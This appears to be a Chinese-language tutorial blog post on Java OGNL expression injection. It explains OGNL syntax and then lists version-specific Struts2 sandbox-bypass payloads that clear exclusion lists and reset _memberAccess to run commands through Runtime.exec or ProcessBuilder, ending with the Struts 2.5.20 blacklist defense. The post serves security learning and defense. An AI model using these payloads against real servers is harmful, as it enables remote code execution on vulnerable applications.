学习 Java OGNL 表达式注入
0x01 OGNL (Object Graph Navigation Library)
OGNL代表对象图导航语言;它是一种表达语言,用于获取和设置Java对象的属性,以及其他附加功能,例如列表投影和选择以及lambda表达式。您可以使用相同的表达式来获取和设置属性值。
OGNL三要素:
- 表达式(expression)
- ognl 表达式要执行的具体操作
- 根对象(root)
- 表达式的操作由根对象来指定对目标对象的操作,可直接引用根对象属性
- 上下文环境(context)
- 对象运行的上下文环境(map类型)
之前分析的 Struct2 的历史漏洞中,最终都是通过 ognl 达到执行命令的目的,而 struct2 中的 ognl 的 context 就是 ActionContext,根对象即熟悉的 valueStack
0x02 使用 OGNL
在 ognl 注入中常用的也就是对上下文环境、静态方法的访问
OGNL 中的所有变量都是整个表达式的全局变量
- 获取上下文环境变量:
#var
- 设置变量:
#var = 99
- 访问静态变量:
@[class]@[field]
- 调用静态方法:
@[class]@[method()]
,`@java.lang.Runtime@getRuntime().exec(‘id’)` - 直接使用构造方法进行构造
特殊符号
#
用于访问非根对象属性( OGNL 和 Action 上下文)
还可以表示自身,
listeners.size().(#this > 100? 2*#this : 20+#this)
- 创建 map,
#{e1 : e2, ... }
,或#@classname@{ e1 : e2, ... }
%
- 告诉执行环境
%{}
里的是 OGNL 表达式并计算表达式的值。 - 求余数
e1 % e2
$
- 在相关配置文件中引入OGNL表达式,即在配置文件中解析OGNL表达式
- 用于正则匹配
objects.{$ #this instanceof String }
,将返回对象中包含的最后一个元素,该对象是String类的实例
.
- 获取非静态方法调用
- 获取对象的属性
- 投影
e1.{e2}
- 选择
e1.{? e2}
- 子表达式求值
e1.(e2)
@
- 获取静态方法
- 获取静态变量
,
- 顺序操作符
e1, e2
,e1 和 e2 都使用相同的源对象进行计算,并返回 e2 的结果。
更多详细内容可以参考官方文档:https://commons.apache.org/proper/commons-ognl/language-guide.html
0x03 OGNL 注入
Ognl 的 getValue 和 setValue 都可以用来执行代码,比如 S2-003 就是利用了 setValue
1 | import ognl.Ognl; |
在 setValue 中形如 ()(a)(b)
的表达式在 ognl 处理的时候会先计算 ()(a)
,然后返回带有 payload 的 ASTEval 树,再以 b
为root 计算 AST 树,最终执行命令
常用 paylaod:
1 | //获取当前路径 |
常见注入点和写法(https://www.freebuf.com/vuls/168609.html)
0x04 注入绕过与防御
OGNL 作为 Struts2 框架的默认表达式语言,在 struct2 的众多历史漏洞中被多次绕过,但是,绝大多数是通过 _memberAccess
等属性修改限制条件来达到绕过的目的
绕过
< Struts 2.3.14.1
通过 _memberAccess
设置 allowStaticMethodAccess 开启静态方法调用
1 | (#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc')) |
< Struts 2.3.20
使用类的构造函数
1 | (#p=new java.lang.ProcessBuilder('calc')).(#p.start()) |
< Struts 2.3.29
在2.3.20后,Struts2 引入了黑名单(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns),阻止了所有构造函数的使用
通过 _memberAccess
的父类 DefaultMemberAccess
覆盖 _memberAccess
绕过限制
1 | (#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('calc')) |
< Struts 2.3.30+/2.5.2+
利用 container 获取 ognlUtil 再使用 clear 方法清空 excludedClasses、excludedPackageNames,然后 setMemberAccess 方法设置默认的 memberAccess
1 | (#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc')) |
< Struts 2.5.16
2.5.13 版本中使用的是 3.1.15 的 ognl 包,禁止了对 context.map 的访问
通过attr
获取一个context.map
,然后通过 setExcludedPackageNames 和 setExcludedClasses 将名单置空,再覆盖 _memberAccess
1 | (#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')) |
防御
在 struct2 中官方主要通过黑名单的方式来修补漏洞,虽然前期也是被频频绕过,但从最近的版本能看出黑名单的变化
在 struts 2.5.20 中,查看 struts-default.xml 的 excludedClasses 和 excludedPackageNames 黑名单内容如下
1 | <constant name="struts.excludedClasses" |
连 struct2 重写的 ognl 包 xwork2.ognl 也在 excludedPackageNames 中,而且在 OgnlUtil 中的有关方法属性也产生了变化,这就导致修改黑名单绕过的方法越发困难
Reference
https://commons.apache.org/proper/commons-ognl/language-guide.html